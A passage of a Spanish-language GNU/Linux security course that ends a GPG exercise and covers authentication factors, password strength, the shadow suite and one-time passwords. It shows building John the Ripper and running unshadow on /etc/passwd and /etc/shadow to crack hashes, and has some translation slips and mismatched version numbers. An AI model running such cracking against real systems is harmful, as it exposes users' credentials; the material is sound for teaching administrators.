En este ejercicio, usted creará un archivo de firma, luego lo dará al sistema B. Luego usted puede firmar un documento. El Sistema B luego usará el archivo de firma para verificar el documento. No se proveen soluciones para este ejercicio.

1. Cree un nuevo archivo llamado sigA, que representará al sistema A. usted mas adelante firmará este archivo y lo pasara al sistema B.

```
[antonio@localhost PRACTICAS]$ touch sigA
```

2. Escribale unas cuantas lineas (puede ser Hola Mundo Cruel) de texto en este archivo:

```
[antonio@localhost PRACTICAS]$ echo Hola Mundo Cruel > sigA
```

3. Use cat para verificar que este archivo ahora contiene texto.

```
[antonio@localhost PRACTICAS]$ cat sigA
Hola Mundo Cruel
```

4. Ahora firme y encripte este mensaje así solo el sistema B puede leerlo:

```
host# gpg -se -r partner's_public_key sigA
```

5. Entre la frase de acceso para su clave publica.
6. Este archivo ahora tiene una extensión .gpg. Copie esta firma a su directorio FTP (/var/ftp/) y tiene a su sistema B tomándolo.
7. Obtenga el archivo del sistema B (recuerde, tiene que tener la extension .gpg).
8. Usted tiene ahora un archivo que firma el sistema B y lo tiene también encriptado para usted. Ahora use el siguiente comando para verificar el archivo:

```
# gpg –verify partherx.asc sigA.gpg
gpg: Signature made Sun 2005 06:54:03 PM GMT using DSA          key ID 0840A624
```

gpg: Good signature from “Antonio Perpinan (mysecretphrase) <mail@mail.com>”

RESUMEN

En este capítulo, cubrimos en detalle la tecnologia de encriptación. Algunos de las publicaciones claves que discutimos fueron:

- La encriptación puede ser clasificada como de Bloque y/o Flujo de Bits.
- Un cifrado es una implementación de un algoritmo de encriptación.
- Los tipos de algoritmos de encriptación se incluyen el simétrico, asimétrico y hash.
- El PGP es un programa de encriptación ampliamente usado que entrega encriptación de claves publicas para los usuarios y organizaciones.
- La fuerza de la encriptación es basada en tres factores: lo secreta que puede ser una clave, Longitud de la clave, decadencia debilidades en algoritmos cifrados o implementaciones.
- La Infraestructura de Clave Publica (PKI) requiere administración de algunas claves que el esquema simétrico de administración de claves.
- Los certificados digitales proveen un significado de verificación de identidad.

Preguntas Post-Examen

Las respuestas a estas preguntas están en el Apéndice A.

1. Explique lo básico de la encriptación asimétrica.
2. ¿Cuáles son los tres elementos mas comunes de una clave asimétrica?
3. ¿Cómo es descrita la encriptación hash?
4. ¿Qué es un certificado digital?
5. ¿Qué es un servidor PKI (Public Key Infrastructure)?
6. ¿Cuáles son los tres factores principales en la fuerza de una encriptación?

CAPITULO 3

SEGURIDAD

DEL SISTEMA OPERATIVO GNU/LINUX

AUTENTICANDO

OBJETIVOS:

Al completar este capítulo, usted podrá:

- Identificar el método dominante de la autenticación del usuario.
- Definir y describir un password seguro, el contorno y describir las vulnerabilidades comunes en la selección de un password y los beneficios de password con fechas de expiración.
- Describir el conjunto de utilitarios Shadow y sus usos.
- Explicar como un usuarios puede usar un programa Crack para descubrir debilidades de los sistemas.
- Describir la estructura del Modulo de Autenticación Insertable (PAM) y los diferentes componentes que conforman al sistema.
- Buscar los Propósitos del Subsistema PAM y ser capaz de implementar cambios básicos en la configuración de PAM.
- Describir las ventajas de seguridad de un password de una sola vez así como los programas que ofrecen esta función, particularmente S/Key, ahora OPIE.
- Describir el proceso de autenticación en el sistema Kerberos así como del uso de tickets (permisos) y el rol de un servidor que concede tickets (permisos).
- Explicar la necesidad para método de control de acceso.
- Describir la función de un Listado de control de acceso (ACL) y una Lista de Control de Ejecución (ECL).

Preguntas Pre-Examen

1. ¿Qué es conocido por autenticación de seguridad?
2. ¿Qué es conocido por autorización?
3. ¿Cuál método de seguridad asegura que individuos, sistemas, o procesos accesen solo a lo que ellos están autorizados?
4. Cual es la función de la Lista de Control de Acceso (ACL)

INTRODUCCION

La fundación de todo los mecanismos de seguridad es la autenticación. En un modelo formal de seguridad, la identificación y la autenticación (I&A) están apareados. En este capitulo, el enfoque sera el mecanismo de autenticación. Cuando tu encuentras conocidos en una calle publica, tu los reconoces por sus rostros, su sonrisa, su voz, o quizás tu memorizas los nombres para enlazar rostros similares basados en un articulo de ropa, carros, o otros dispositivos mnemonicos. Los humanos usan muchos métodos para retener la información que utilizan para identificar los individuos. Alguna vez has conocido a alguien que pensabas que conocías, pero no es así?. Para permitir a los usuarios acceso seguro a un sistema de computadora, es vital identificarlos y autenticar su identidad en contra de algunos criterios.

Métodos de Autenticación

La autenticación es un proceso que intenta verificar la identidad de un usuario, sistema, o proceso de sistema. Después de esta identificación ha tomado lugar, el sistema autenticado o los usuarios después pueden tener acceso de acuerdo a los parámetros establecidos por el administrador de sistemas.

Si has usado una tarjeta ATM, presentado una tarjeta de identificación de estudiante, o usado una licencia de conducir, usted esta ingresado en una forma de identificación individual. Si usted ha usado una contraseña para ingresar a su computadora en una red, usted ha participado en una autenticación de usuario. De hecho, nadie que ha usado una llave de casa o de carro ha empleado los principios de autenticación de usuarios. Sin embargo, la autenticación también aplica al sistema completo y a las redes.

Los siguientes temas serán discutidos en esta sección:

- Creando Relaciones Confiables
- Métodos de Autenticación
- Debilidad de Contraseñas
- La Suite Shadow
- Crack
- Generadores de Contraseña y Password de una Sola Ocasión (OTPs)

Creando Relaciones Confiables

En identificar a alguien, estamos implicando que no les prohibiremos algunos privilegios o derechos. En el nivel mas básico, una relación confiable implica el confiar en otro individuo o entidad. Con tecnología confiar en otra entidad a menudo implica encriptación de información así solo un partido puede desencriptar un archivo encriptado por otro usuario. Aplicando encriptación significa establecer niveles de relaciones confiables entre los host y la entidades.

Una Simple Relación Confiable

Una relación de confianza puede tomar una forma excesivamente simple, sin requerir encriptación. Por ejemplo, si usted fuera a realizar el siguiente comando, usted creará una relación de confianza permitiendo usuarios que ingresen al sistema utilizando rsh o rlogin desde el nombre de host especificado o la dirección IP sin la necesidad de proveer una contraseña:

$ echo “confiado.codigolibre.org” > /etc/hosts.allow

Esto es un ejemplo de una relación de confianza mal empleada para crear conveniencias para los usuarios. Una función similar puede ser realizada por usuarios individuales por la creación un archivo .rhosts en su directorio home. Este mecanismo data desde la creación de Internet donde la conectividad y la funcionalidad

fueron las principales preocupaciones y la seguridad fue raramente considerada. Los utilitarios r como son rsh, rlogin y el demonio que provee estos servicios, son inherentemente inseguros y no deberían ser usados. Los administradores puede usar cron para hacer un horario de verificación diaria por la existencia de estos archivos, señalizando las acciones requeridas por el administrador. Estas acciones no pueden ser limitadas a la eliminación de los archivos, pero haciendo que los usuarios se enteren de que esos archivos comprometen la seguridad y no van a ser utilizados.

Encriptación Basada en Confianza

Es también posible crear una relación de confianza basada en las llaves de encriptación. Una vez tiene generada la llave, usted puede configurar programas tales como Secure Shell (SSH) para que automáticamente autentifiquen usando la llave y, de nuevo, pasando lo necesario para la contraseña. Esto genera una debilidad en la seguridad. El método mas prudente es distribuir las llaves publicas a cualquier persona. Usted puede distribuir las llaves publicas usando dos métodos:

• Manual

Lo primero es que usted debe de enviar las llaves publicas dentro de un recipiente luego codificar el mensaje a la llave publica del recipiente. Este método es actualmente requerido para S/MIME y PGP.

• Automático

SSH, Secure Socket Layer (SSL) y el protocolo de seguridad de Internet (IPSec) están disponibles para intercambiar información (incluyendo llaves privadas) en una manera razonable y segura a través de una serie de handshakes (Apretón de Manos = Se refiere al protocolo de comienzo de comunicación entre dos máquinas o sistemas). Discutiremos mas sobre esto mas adelante.

Métodos de Autenticación

Los usuarios o sistemas pueden probar que ellos son quienes demandan que sea en cuatro maneras. Cuando esto viene a la autenticación, el resto de este curso especificara los programas basados en esos cuatros métodos o factores. Algunos estándares para seguridad requieren dos factores de autenticación, proveyendo su identidad por métodos desde dos de esas clasificaciones. Usted puede proveer su identidad por:

- Probando lo que Conoce
- Mostrando lo que Tienes
- Demostrando quien Eres
- Identificando donde Estas

Lo que Conoce

Los métodos de autenticación mas comunes en Internet y en el mundo computacional es las autenticación de la contraseña. Cuando usted ingresa a una red computacional, usualmente a usted se le pide un ID de usuario y una contraseña. El ID de usuario no es típicamente una información secreta, pero la contraseña si lo es. La contraseña es algo que conoce. Una política de seguridad debe de dictaminar que esta información no debe de ser compartida, de esta manera solo usted conocerá su contraseña. El computador basa su autenticación en la contraseña. Esto no es un fallo en la parte del computador pero si en el usuario. Este también resulta desde la aplicación simple de solo un modo de autenticación.

Lo que Tienes

Este método es levemente mas avanzado por que usted necesita algún ítem físico para la autentificación, algunas veces llamado token o ficha. Un buen ejemplo es crear una tarjeta para entrar físicamente donde se encuentra el computador. Cualquiera que presente la tarjeta tendrá acceso garantizado al edificio. Si usted da la tarjeta a otro persona, está persona podrá accesar al edificio como si fuese usted. Por lo tanto, se debe de crear

un método mas sofisticado de sistema de autenticación para la entrada al edificio, usted requerirá no solo la tarjeta (la cual es el método de autenticación basado en lo que tienes), pero también una contraseña (la cual es un método basado en lo que conoces). En la industria de las computadoras, el mejor ejemplo del método de los que tienes es el uso de tarjetas inteligentes y certificados digitales.

Tarjetas Inteligentes

Todas las tarjetas inteligentes contienen un micro chip. El chip contiene una información especifica sobre el propietario, incluyendo múltiples cuentas de tarjetas de créditos, la información de la licencia de conducir, información medica y así sucesivamente. Una tarjeta inteligente puede ser del tamaño exacto de una tarjeta normal de crédito o mas grande, dependiendo de la capacidad de el chip encajado en ella.

Algunas veces los microchips encajados contiene información de solo lectura. Normalmente estos chip mantienen mas información que la tira magnética encontrada en la parte trasera de de una tarjeta de crédito. Dicha tarjetas limitadas pueden ser programadas una sola vez y son completamente dependiente para operar de una maquina llamada lector de tarjeta inteligente.

Todas las tarjetas inteligentes confían en un lector, el cual es un dispositivo electrónico que escanea la tarjeta. Por ejemplo una tarjeta VISA provee un lector para sus tarjetas.

Algunas tarjetas inteligentes no requieren fuente de electricidad para operar, existen otras que contienen su propia fuente de energía, y otras que derivan su energía del lector de la tarjeta inteligente antes de que se active el microchip.

Los dos tipos de tarjetas inteligentes son de contactos y sin contactos. Las tarjetas de contacto deben de tocar directamente el dispositivo de lectura, mientras que las tarjetas sin contactos pueden comunicarse con el lector a través de una conexión electromagnética inalámbrica. Un tarjeta sin contacto puede igualmente servir para autenticar un usuario.

Las tarjetas inteligentes pueden ofrecer muchas características. Algunas permiten que su memoria persistente pueda ser reescrita. Otras son verdaderas minicomputadoras en el sentido de que tienen dispositivos de entrada y salida, memoria persistente, RAM y una Unidad de Procesamiento Central activa (CPU). Algunas tarjetas inteligentes son usadas por usuarios con necesidad de ser autenticados para efectuar tareas de:

- Entrar a los Edificios
- Utilizar Celulares
- Ingresar en un Host específico
- Participar en una red
- Conducir transacciones bancarias y comercio electrónico.

La Organización Internacional de Estandarización (ISO) en el documento 7816 contiene el estándar de las tarjetas inteligentes. Usted puede leer mas sobre las tarjetas inteligentes el los siguientes sitios:

- La Asociación de Industrias de Tarjetas Inteligentes (www.scia.org/)
- El sitio home (www.1.slb.com/smartcards/)
- El sitio Web de Visa (www.visa.com/nt/chip/main.html)

Quien Eres

Este proceso esta basado en algo físico, genético, o con características que no pueden ser duplicadas. Este método es también conocido como biométrica. Hasta recientemente, la biométrica de autenticación avanzada

era muy costosa e implementada en ambiente altamente seguros. Ahora cientos de compañías han producidos soluciones biométricas de bajo costo. Ejemplo de este método incluye las huellas digitales, escaneado de patrones faciales, escaneo de la retina del ojo y análisis de voz.

La Corporación Compaq (hoy día Hewlett-Packard) provee escaners de huellas digitales con el tamaño de un mouse serial estándar y eso es fijado al lado del monitor. Usted puede encontrar mas información sobre este lector en www.compaq.com//products/options/fit/index.html.

Veridicon es especialista en identificación por huellas digitales que autentifica a los usuarios con un equipo estándar. Algunos de estos productos usan un escaner simple conectado vía las conexiones del puerto paralelo o por el Universal Serial Bus (USB).

Donde Estas

Es la forma mas débil de autenticación, esta estrategia determina la identidad basada en la ubicación. Por ejemplo, Las aplicación de UNiX rlogin y rsh autentican a los usuarios, hosts o los procesos basados en gran parte en la fuente de su dirección IP. El Reverse DNS Lookup no es una práctica de autenticación estricta, pero es relacionada por que esta por lo menos intenta determinar el origen de una transmisión antes de permitirle el acceso. Por años, Los sitios de U.S. Proveen software que usan fuertes encriptaciones (encriptación de 128 bit o mas) conducido por el Reverse DNS Lookup en todos los hosts.

Si un servidor encuentra que un host pertenece a un dominio fuera de los Estados Unidos (o si el reverse DNS Lookup no fue posible), el servidor denegara la conexión. Esta práctica es común en varias configuraciones.

Debilidades de las Contraseñas

Las contraseñas son una parte integral de un sistema de seguridad, sin el cual un sistemas estaría completamente abierto y vulnerable a cualquier intruso. La creación de un mantenimiento de fuertes contraseñas es responsabilidad del administrador y el usuario de un sistema.

Las contraseñas son importantes porque ellas previenen a que usuarios maliciosos accedan al sistema. Los datos pueden ser extraídos o corrompidos fácilmente por un usuario quien obtenga las contraseñas del sistema; esto puede traer consigo una pérdida de información y resultar en una perdida monetaria valiosa. Sin importar que el sistema no tenga información valiosa, es aún importante mantener un sistema seguro. Con la contraseña de un sistema, un usuario malicioso puede usar el sistema como un host para efectuar sus actividades ilegales.

Creando Contraseñas Fuertes

Una contraseña fuerte es una que es difícil de crackear, que se cambia a menudo y que es almacenada en un sitio seguro, punto.

Los Caracteres y el Formato de una Contraseña

Si una contraseña es elegida pobremente, esta podrá ser fácil de crackear. Las contraseñas pueden ser crackeadas de varias maneras, incluyendo un ataque de diccionario o un ataque de fuerza bruta. Un ataque de diccionario ocurre cuando una lista de contraseñas encriptadas de un sistema (usualmente almacenada en /etc/shadow) son obtenidas, luego verificadas en contra de una lista de contraseñas encriptadas creadas desde un diccionario (o una lista de palabras). Si una de las contraseñas encriptadas creadas por el diccionarios concuerda con la contraseña encriptada tomada del sistema, luego el cracker sabe que esa entrada del diccionario es la contraseña del sistema. Así, el cracker tiene la contraseña que puede ser usada para acceder al sistema sin autorización. Un ataque de fuerza bruta trata todas las posibles combinaciones de letras, números y caracteres

especiales para poder ingresar al sistema, primero tratando las combinaciones mas probables, tales como palabras en Ingles, luego todas las palabras y continuará hasta que la contraseña haya sido crackeada.

Muchas contraseñas son fáciles de crackear porque son relativamente cortas y son usualmente creadas con palabras encontradas en un diccionario. Secuencias de números simple también son contraseñas pobres. Las contraseñas que son espejos de permutaciones de palabras de diccionario son también fáciles de crackear con software moderno para crackear. También, muchos usuarios crean contraseñas basadas en información personal, tal como días de cumpleaños o nombres de usuarios. Dichas informaciones pueden algunas veces ser obtenidas por cracker utilizando el comando finger.

Estos ataques pueden ser prevenidos eligiendo buenas contraseñas. Una buena contraseña típicamente conoce los siguiente requerimientos:
• Contiene una mezcla de letras, números, y caracteres especiales (tales como &,<, o #)
• Por lo menos es de 8 caracteres
• No puede ser encontradas en ningún diccionario de lenguaje.

Una manera común de crear contraseñas es crear un acrónimo de una frase personal. Por ejemplo c1O4&m7oE5s1T#a$, esto puede ser un acrónimo de “Como estas”, con letras elegidas al azar, números y caracteres especiales insertados para obstaculizar el cracking de una contraseña. Una manera todavía efectiva de contraseña puede ser la sentencia por la substitución de números por letras por ejemplo, Tc0J0Tm.

Los usuarios deben de notar que mientras mas larga y complicada es la contraseña, es mas difícil de recordar. Por lo tanto, el reto para el usuario es crear una contraseña que pueda recordar fácilmente y que también sea difícil de crackear.

Almacenamiento de Contraseñas

Algunos usuarios mantienen sus contraseñas difíciles pero escritas en escritorios, papeles en la cartera, etc, tradicionalmente esta ha sido una de las peores acciones que un usuario puede tomar. Las contraseñas que son escritas y dejadas en una nota o en una lista en el escritorio del usuario puede ser encontrada y usada para propósitos maliciosos. Es recomendado que el usuario se memorice la contraseña.

Sin embargo, si los usuarios emplean mas de una contraseña en sus actividades del día a día, esto puede ser mas difícil mantener en memoria diferentes contraseñas. Algunos estudios han mostrado que si el usuario almacena las contraseñas en un sitio seguro, es mejor para la seguridad que estar olvidando las contraseñas constantemente y mantenerse preguntándole al administrador de sistema por esta.

Envejecimiento de las Contraseñas y Expiración

Mientras mas tiempo resida la contraseña en un sistema, es mas grande la posibilidad de que la contraseña sea crackeada o obtenida por alguien que no sea el propietario de la contraseña. Para combatir esto, la suite de contraseña shadow usado por los sistemas GNU/Linux proveen la habilidad de que las contraseñas expiren automáticamente después de cierto tiempo.

Para asegurar la seguridad, la misma contraseña no debe de permanecer por mas de un mes o dos meses como máximo en el sistema. Este estándar es recomendado para todos los niveles de contraseñas, si es para una cuenta de email, una cuenta de usuario de sistema, o una contraseña de root. Cambiando la contraseñas bajan las posibilidades de que el sistema sea crackeado.

Un programa puede ser también implementado en el sistema para prohibirle a un usuario de que rotara una

misma lista de contraseñas. Varios programas GNU pueden ser instalados para almacenar contraseñas y prohibirle a los usuarios que elijan esas contraseñas hasta fijar que una cantidad de tiempo haya pasado, extendiéndose desde 10 semanas hasta cinco años.

Utilitarios de Seguridad para Administradores

Un administrador de sistemas puede verificar en su sistema por contraseñas pobres con el uso de programas diseñado para estos fines. Para una lista completa de estos podemos visitar la página de Seguridad Sectools en http://sectools.org/crackers.html, desde aquí podrá ir a los sitios web donde se descargan estas herramientas. Alguna son GPL o Libre pero la mayoría son de licencias Privativas, como el caso de Shareware y Freeware. Estos programas pueden ser usado por un administrador de sistemas para proveer mantenimiento de sus contraseñas.

Ejecutando estos programas como por ejemplo John y Unshadow en el sistema, un administrador de sistemas puede verificar que tan seguro puede ser una contraseña en un sistema y mantener al mínimo las contraseñas débiles. Sin embargo, usar un crack de cualquier manera en un sistema sin los permisos explícitos de su administrador es completamente ilegal e indebido.

Las Suite Shadow

En los inicios de UNiX y luego de GNU/Linux, shadow era almacenado y encriptado en el archivo /etc/passwd. Este método representaba un problema de seguridad por que el archivo /etc/passwd era legible por cualquiera con acceso al sistema. Así, las contraseñas podían ser descargadas y crackeadas relativamente fácil. La tecnología de Shadow representaba una alternativa para evitar esos problemas de seguridad.

Shadow almacena una contraseña encriptada en un archivo secundario, el archivo /etc/shadow. Este archivo es legible solo por ciertos programas y el usuario root, así que no hay chance para que las contraseñas sean obtenida ilícitamente.

Entendiendo el Archivo /etc/shadow

Por que el archivo principal usado es el archivo /etc/shadow, una cuidadosa explicación de ese archivo sera necesitada. Cada linea (o entrada) en el archivo usa un formato de ciertos campos separados por columnas. Una linea de ejemplo del archivo /etc/shadow es mostrado a continuacion:

user:H7e9JL:10063:0:30:7:1::

Esos diferentes campos son explicados a continuación:

Nombre del Archivo	Ejemplo	Descripción
Nombre del usuario	aperpinan	El nombre que utiliza el usuario para ingresar al sistema.
Contraseña	$H7e9JL... .	La contraseña encriptada (* indica que el usuario esta deshabilitado).
Días desde 01/01/1970	10063	Números de días desde que la contraseña que la contraseña fue cambiada
Puede ser Cambiada	0	Números de días antes de que contraseña pueda ser cambiada (un 0 indica que la contraseña puede ser cambiada cualquier momento).
Debe de ser Cambiada	30	Número de días en que la contraseña debe de ser cambiada.
Días de advertencias	7	El número de días que un usuario será advertido antes de que su contraseña expire.
Días Deshabilitado	1	El número de días después de que una contraseña haya expirado que el usuario sera deshabilitado.
Deshabilitado desde		Número de días desde 1970 que una cuenta ha sido deshabilitada (un espacio en blanco indica una contraseña activa).

El ultimo campo es reservado para un uso futuro en el evento de que mas características son agregadas.

Utilizando las Utilidades de la Suite Shadow

Los sistemas GNU/Linux todos vienen con Shadow ya instalado, habilitado y en uso. En esta sección nos concentraremos en discutir algunos de los comandos que usamos para manipular los usuarios y que afectan los archivos passwd y shadow, aunque también afectan a group y gshadow que es el archivo de contraseña encriptada de los grupos.

useradd

El comando useradd puede ser usado para agregar usuarios al sistema. Este comando puede también ser usado para configurar por defecto un sistema cuando un nuevo usuario es agregado. Por ejemplo, escribiendo "useradd -D" se mostrará la configuración por defecto de los grupos de usuarios, directorio home, tiempo de expiración (en días), y el shell. Para cambiar la configuración del archivo (/etc/default/useradd) a otra por defecto, use las siguientes opciones:

-g El ID del grupo por defecto
-d Directorio home
-e número de días después de la creación de una cuenta que la contraseña va a expirar.
-f Si se deshabilitó una cuenta si una contraseña expiro (1 o 0).
-s Especificando la shell por defecto.

En este ejemplo, el grupo por defecto sera cambiado a un ID de grupo 200, 15 días de periodo de expiración, no se deshabilitará la cuenta después de que la contraseña expira y una shell por defecto /bin/bash:

$ useradd -D -g 200 -s /bin/bash -f 0 -e 15

passwd

El comando passwd es principalmente es usado para cambiar la contraseña de los usuarios pero también es usado para configurar opciones especificas de contraseñas, las cuales son las mostradas a continuación:

-l Bloquea una cuenta de usuario.
-u Desbloquea una cuenta de usuarios.
-n Fija el número mínimo de días antes de que una contraseña sea cambiada.
-x Fija el número de días antes de que la contraseña expire.
-w Fija el día antes de la expiración de la contraseña una advertencia que sera enviada al usuario.
-i Fija el día después de que la contraseña expiro en que la cuenta es bloqueada.
-s Muestra la información de las contraseñas en un formato conciso.

Así, para configurar la contraseña del usuario antonio que expire en 10 días, utilice la siguiente sintaxis:

$ passwd -x10 antonio

usermod

El comando usermod sigue las mismas sintaxis y opciones que el comando useradd y es utilizado para modificar las cuentas de usuarios ya existentes. Podemos cambiar los usuarios de grupo, agregarlos a otros, expirar cuentas, etc.

userdel

Este comando puede ser usado para eliminar la cuenta de un usuario. Utilizando la opción -r se eliminará tanto el usuario, como su directorio home, como también toda la información que se encuentre almacenada en los archivos /etc/passwd y /etc/shadow.

El Archivo /etc/login.defs

El archivo /etc/login.defs contiene la configuración del programa /etc/login así como la configuración de los programas de la Suite Shadow. El valor por defecto para las cuentas con respecto a la longitud de la contraseña, los días máximos antes de que la contraseña deba de ser cambiada, y el mínimo de días entre los cambios de contraseñas están ubicados en este importante archivo de configuración. Los valores máximos y mínimos del ID de los usuarios y grupos son también especificados en el archivo /etc/login.defs. Al igual que todos los archivos de configuración del sistema GNU este archivo puede ser editado con cualquier editor de texto para configurar el comportamiento de las contraseña de su sistema y las cuentas por defecto.

Problemas de Seguridad con la Suite Shadow

El el pasado la Suite Shadow ha tenido problemas de seguridad. Un ejemplo algunas de estas problemáticas de seguridad involucraban la versión 3.3.1 del la Suite Shadow. Esta versión tenía en bug que en que no esta provista de un utilitario para /etc/login que verificara la longitud de los nombres ingresados en el login del sistema (el login name). Si el login name digitado era muy largo, causaba un desbordamiento en el buffer, posiblemente y esto pudiese corrompiendo el sistema debido a la manera en que el sistema tenia que ser apagado de manera incorrecta. Otro problema surgía a través de la posibilidad de que un intruso pudiera ganar acceso a la cuenta de root a través de este bug y desarrollar programas que atacarán estas librerías que fueron codificadas para desarrollar el Suite Shadow.

Un segundo bug que ha sido descubierto permite que la base sea descargada matando el programa /etc/login mientras este esta en proceso. Otro bugs ha sido encontrado para ciertas versiones de la Suite Shadow, por lo tanto, es importante descargar, instalar y actualizar a la nueva versión de la Suite Shadow a menudo.

CRACK

Para poder entender mejor la necesidad de seguridad de un computador o del sistema, por lo general es una buena idea estudiar el problema desde el punto de vista de un cracker. Pretendiendo que usted esta intentando entrar a la fuerza a un sistema, le mostrará las debilidades y fallas de su sistema computacional. Un crack es un programa que es utilizado por un intruso para asistirlo a atacar las debilidades presentes en su sistema o parte de este digamos en las contraseñas de un sistema.

¿Qué es un Crack?

El crack es un programa desarrollado para atacar debilidades de los sistemas y que es utilizado por un intruso. Lo que hace que un programa en vez de ser un hack sea un crack es solo quien lo use y sus intensiones. Si el programa es usado para un bien, entonces es un HACK si es usado para hacer daño entonces es un CRACK. Existe un sin numero de utilitarios de aplicaciones diferentes, entre ellas para redes, procesos, etc, que sirven para revisar nuestros sistemas para encontrar fallas o vulnerabilidades que otros intrusos puedan querer aprovechar. En esta sección se cubriremos, John versión 7777, escrito por JJJJJJ. Este es un utilitario diseñado para detectar fallas en las contraseñas de su sistema. Para poder ampliamente entender en la manera en que John trabaja, uno debe de entender primero el sistema de contraseñas.

Las máquinas ejecutando sistemas GNU/Linux, UNiX, BSD y sus clones en general los UNiX-Like por lo general almacenan sus contraseñas en el archivo /etc/shadow. El archivo /etc/shadow es donde se almacena un hash representando las contraseñas ya encriptadas. Esto involucra un lugar donde puede existir un agujero de seguridad si descuidamos los permisos de los archivos /etc/passwd y /etc/shadow.

Las contraseñas actuales son almacenadas en una forma encriptada para prevenirlas de ser reconocidas o

mal empleadas. En práctica, cada vez que los usuarios ingresan al sistema y entran sus contraseñas, el computador encripta las contraseñas y la compara con la contraseña encriptada almacenada en el archivo /etc/shadow. Si la contraseña encriptada concuerda, el computador le permite acceso, si no, el computador le niega el acceso.

Las contraseñas son encriptadas con un algoritmo de una sola vía, significando que la contraseña puede ser encriptada, pero es casi imposible desencriptar una contraseña. La idea original detrás del uso de un algoritmo de una una sola vía fue el de asegurar la seguridad hasta si el archivo /etc/shadow fuese extraído o simplemente robado. En teoría, si un cracker roba el archivo /etc/shadow, este no podrá desencriptar las contraseñas, y el archivo le será inútil al menos que no utilice un programa como John.

Los programas como John usan una manera posterior de crackiar las contraseñas. Es decir en vez de intentar de desencriptar la contraseña, estos programas lo que hacen es encriptar una larga lista de contraseñas y luego las comparan con la contraseña que ya esta encriptada. Si las dos contraseñas encriptadas concuerdan, el programa ha descubierto la contraseña del usuario.

Aunque este proceso puede tomar mucho tiempo, con frecuencia este solo toma minutos antes de descubrir la contraseña del usuario, ya que típicamente, los usuarios eligen contraseñas predecibles y débiles basadas en palabras de diccionario. Es importante recordar que a medida que la velocidad de los procesadores del computador que usted este utilizando aumenta, más rápido podrá el programa encontrar la contraseña.

Estos programas encriptan largas listas de palabras, llamadas diccionarios. Estos también modifican las palabras agregándole números o revirtiendo el orden de las letras de una palabra. Las maneras que estos programas juegan con el orden de las palabras depende en la reglas fijadas en la configuración del programa.

A menudo, mucho tipo de diccionarios son usados. Algunos de los diccionarios que pueden incluirse son de diferente idioma, algunos basados en campos específicos del conocimiento como pueden ser diccionarios: médicos, de ingeniería, ciencias jurídicas, etc. Estos programas comúnmente vienen empaquetados con una lista de contraseñas usadas y con una variedad de opciones. Normalmente no toma mucho tiempo antes de que estos programas descubran la contraseña.

Configuración y Uso

La versión actual de John the Ripper es la 1.7.3.4. Esta puede o ser instalada por yum o apt-get dependiendo si es Debian o Fedora, aunque el instalado presenta errores y por eso decidimos compilarla así que la podemos descargar desde su portal http://www.openwall.com/john/. El comando para descargarlo es:

$ wget http://www.openwall.com/john/g/john-1.7.3.4.tar.gz

Originalmente diseñado para computadores ejecutando UNiX, para instalarlo hace falta efectuar algunas configuraciones básicas en los archivos fuentes que hemos descargado en el paso anterior. Luego debemos descomprimir el archivo comprimido que descargamos con el wget y nos cambiamos al directorio que este nos crea automáticamente así:

$ tar -zxvf john-1.7.4.2.tar.gz

$ cd john-1.7.4.2/src

Para que nos compile bien en GNU/Linux debemos editar el archivo Makefile en john-1.7.3.4/src y colocar el la linea que dice: LDFLAGS = -s y agregarle -lcrypt para que lea completa:

LDFLAGS = -s -lcrypt.

Al final del archivo Makefile agregamos esta líneas así:

**unique.o **
crypt_fmt.o

Finalmente agregamos estas dos líneas al archivo john.c:

extern struct fmt_main fmt_crypt;
john_register_one(&fmt_crypt);

Ahora podemos ya empezar a compilar, a diferencia de muchos programas de GNU/Linux que compilamos aquí no hay el tradicional ./configure sino que vamos directo al make y lo hacemos así, podemos leer el archivo README en john/usr/doc/README para ver cual es la opción que nos convienen dependiendo de nuestra arquitectura del computador, ya sea Pentium MMX, 32 o 64 bits, etc:

[root@localhost src]# make clean linux-x86-sse2

Ya para poner el programa a prueba, entramos a la carpeta john/run donde deben estar los binarios que conforman el programa en especial john, así que podemos primero convertir nuestras contraseñas para que john pueda operar sobre estas y producir sus contraseñas que no las mostrará en pantalla y colocará en un archivo en la carpeta de configuración oculta .john/pot. Así que para convertirlo con unshadow y lo guardamos a un archivo y luego corremos a john sobre este.

[root@localhost run]# unshadow /etc/passwd /etc/shadow > mi-contrasenas.db
[root@localhost run]# ./john mi-contrasenas.db

Para ver contraseñas ya encontradas por el proceso anterior que no pudo leer en pantalla o si fueron muchas las desplegadas puede mostrarlas nuevamente con:

[root@localhost run]# ./john --show

Generadores de Contraseñas y Contraseñas de Una-Vez (OTPs)

Es un método de autenticación particular, esta clase de sistema de autenticación esta dirigido a prevenir rastreo y robo de contraseñas. Un OTP es una manera de fortalecer un sistema de autenticación. No es un reemplazo al tradicional. Este método genera y usa las contraseñas solo una vez y luego las elimina después del uso. En dicho sistema, el servidor almacena o genera una lista predeterminada de contraseñas, la cuales un usuario luego usa. Como las contraseñas son usadas solo una vez, un cracker que decodifique cualquier contraseña dada no tiene la oportunidad de entrar y reutilizarla ya que venció de inmediato y fue usada por el usuario dueño.

Los Servidores de los Proveedores de Servicios de Internet (ISP) a menudo generan OTP, como hacen las organizaciones que emplean unidad de vendedores que viajan y emplean usuarios que trabajan remotamente. CompuServe toma un estándar del método de contraseña tradicional y lo aumenta a este con un OTP. Cuando los usuarios ingresan al sistema de CompuServe, ellos envían una contraseña que esta como es normal asociada con su cuenta pero se le agregan los minutos actuales y la conexión es hecha entre este servidor y el usuario. Esta combinación de la contraseña estándar del usuario mas el tiempo en que este ingrese luego es enviado al CompuServe para autenticación. Si un Cracker robase y descifra esta contraseña, esta sería inútil porque esta era valida solo por ese momento (el momento en que el usuario ingreso al sistema), y solo pudo ser usada en es momento. Este método no reemplaza el sistema tradicional de contraseña que conocemos sino que agrega otra capa de protección. Podemos leer mas sobre OTP en el RFC 1938. La tecnologia crece de forma tan vertiginosa que los métodos y procesos una vez considerados seguro hace un poco tiempo atrás ya hoy son obsoletos. Las contraseñas estáticas, una vez un de las formas mas básicas de seguridad, no son las únicas tomadas en consideración en el momento de proteger un sistema computacional. Como un resultado, los nuevos sistemas de contraseñas han sido desarrollados para incrementar la seguridad de estos sistema computacionales.

Ventajas de los Sistemas de Contraseñas de una Sola Vez

Uno de los métodos mas ampliamente usados para incrementar la seguridad de los sistemas de contraseñas es el sistema es el de contraseñas de una sola vez. Un usuario puede ganar acceso a un sistema de contraseñas de una sola vez por la entrada de la contraseña específicamente generado para esa sección. Una vez que sale del sistema, la contraseñas es descartada y una nueva contraseña es necesaria para ganar acceso en la próxima sección.

Sistema de Contraseñas Estático

